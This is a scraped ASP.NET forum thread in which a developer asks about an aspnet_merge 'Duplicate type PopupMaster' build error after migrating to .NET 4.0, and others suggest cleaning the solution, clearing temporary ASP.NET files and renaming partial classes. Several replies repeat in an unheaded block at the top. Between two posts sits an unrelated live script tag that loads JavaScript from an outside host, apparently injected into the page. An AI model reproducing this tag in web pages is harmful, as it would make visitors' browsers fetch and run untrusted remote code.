We recently migrated from .net 2.0 to .net 4.0. We use web deployment project to build the project. In 2.0, the project was building perfecly. After migrating to .net 4.0, when we build the project using web deployment project, the build fails with following
error
aspnet_merge : error occurred: An error occurred when merging assemblies: ILMerge.Merge: ERROR!!: Duplicate type 'PopupMaster' found in assembly 'App_Web_popupmaster.master.cdcab7d2'.
PopupMaster is a master page in code.
We have thoroughly checked, that there is no duplicate class named 'popupmaster' in the project.
In our build outputs of .net 2.0, this assembly is not merged with other assemblies and it resides in bin folder.
Is there any way to mark this assembly to not merge in to the .net 4.0 merged output ?
Yes, We have tested that. The solution is building fine from there.
But if I want to merge assemblies and add a web deployment project to the solution. There it gives the error that Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2.
Does it run locally, but fail when trying to run from the 'deployed server'? if so, delete the content of the bin directory in the location you are publishing to, in case you are just overwriting the same files. There's an option to delete existinf files
when publishing, it sounds like this option may not be checked with you?
Please remember to Mark As Answer if helpful
Regards, Christiandev (@chrisdev80), MCPD Web (2 & 4) & MCTS Windows (www.ScoreDonkey.com)
I have added a web deployment project in the solution. When I try to build web deployment project, it fails with error
Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2.
please try to delete the asp.net temporary files which is located under "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files" folder or "C:\Windows\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files"
If this post was useful to you, please mark it as correct answer.
All you need to do is open up the offending aspx and aspx.cs files and update two lines:
1. In the code behind file, rename the partial class. By default Visual Studio will name the class FolderName_Pagename which should result in a unique name
2. The page declaration (first line of the page) in the aspx file. You have to make sure that both the Inherits attribute and CodeBehind reference are correct.
To avoid confusing yourself, open the files independently using the solution browser because if you open the aspx and press F7 to switch to the code behind file before updating the page declaration, you'll end up editing the page you copied rather than the
copy.
mohitjain.01...
0 Points
11 Posts
Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 03, 2012 08:18 AM|LINK
We recently migrated from .net 2.0 to .net 4.0. We use web deployment project to build the project. In 2.0, the project was building perfecly. After migrating to .net 4.0, when we build the project using web deployment project, the build fails with following error
aspnet_merge : error occurred: An error occurred when merging assemblies: ILMerge.Merge: ERROR!!: Duplicate type 'PopupMaster' found in assembly 'App_Web_popupmaster.master.cdcab7d2'.
PopupMaster is a master page in code.
We have thoroughly checked, that there is no duplicate class named 'popupmaster' in the project.
In our build outputs of .net 2.0, this assembly is not merged with other assemblies and it resides in bin folder.
Is there any way to mark this assembly to not merge in to the .net 4.0 merged output ?
Please provide a solution to this problem.
aspnet_merge
christiandev
Star
8607 Points
1841 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 03, 2012 11:10 AM|LINK
Have you tried to use 'clean solution'?
Regards, Christiandev (@chrisdev80), MCPD Web (2 & 4) & MCTS Windows (www.ScoreDonkey.com)
mohitjain.01...
0 Points
11 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 03, 2012 03:45 PM|LINK
What do you mean by 'clean solution' ? Please specify..
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>christiandev
Star
8607 Points
1841 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 03, 2012 04:39 PM|LINK
Click on Build -> Clean Solution.
Regards, Christiandev (@chrisdev80), MCPD Web (2 & 4) & MCTS Windows (www.ScoreDonkey.com)
mohitjain.01...
0 Points
11 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 04, 2012 04:27 AM|LINK
Thanks for your reply
Yes, We have tested that. The solution is building fine from there.
But if I want to merge assemblies and add a web deployment project to the solution. There it gives the error that Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2.
christiandev
Star
8607 Points
1841 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 04, 2012 07:48 AM|LINK
Does it run locally, but fail when trying to run from the 'deployed server'? if so, delete the content of the bin directory in the location you are publishing to, in case you are just overwriting the same files. There's an option to delete existinf files when publishing, it sounds like this option may not be checked with you?
Regards, Christiandev (@chrisdev80), MCPD Web (2 & 4) & MCTS Windows (www.ScoreDonkey.com)
mohitjain.01...
0 Points
11 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 04, 2012 09:51 AM|LINK
I have added a web deployment project in the solution. When I try to build web deployment project, it fails with error Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2.
gnoix
Member
232 Points
48 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 18, 2012 04:46 AM|LINK
please try to delete the asp.net temporary files which is located under "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files" folder or "C:\Windows\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files"
ASP.NET Hosting & Windows Hosting Expert
Dino He - MS...
Star
8068 Points
1023 Posts
Microsoft
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 18, 2012 06:53 AM|LINK
Hi,
All you need to do is open up the offending aspx and aspx.cs files and update two lines:
1. In the code behind file, rename the partial class. By default Visual Studio will name the class FolderName_Pagename which should result in a unique name
2. The page declaration (first line of the page) in the aspx file. You have to make sure that both the Inherits attribute and CodeBehind reference are correct.
To avoid confusing yourself, open the files independently using the solution browser because if you open the aspx and press F7 to switch to the code behind file before updating the page declaration, you'll end up editing the page you copied rather than the copy.
Hope be helpful!
Regards!
If you have any feedback about my replies, please contact msdnmg@microsoft.com
Microsoft One Code Framework
mohitjain.01...
0 Points
11 Posts
Re: Duplicate type PopupMaster found in assembly App_Web_popupmaster.master.cdcab7d2
Sep 19, 2012 10:04 AM|LINK
it desn't help buddy....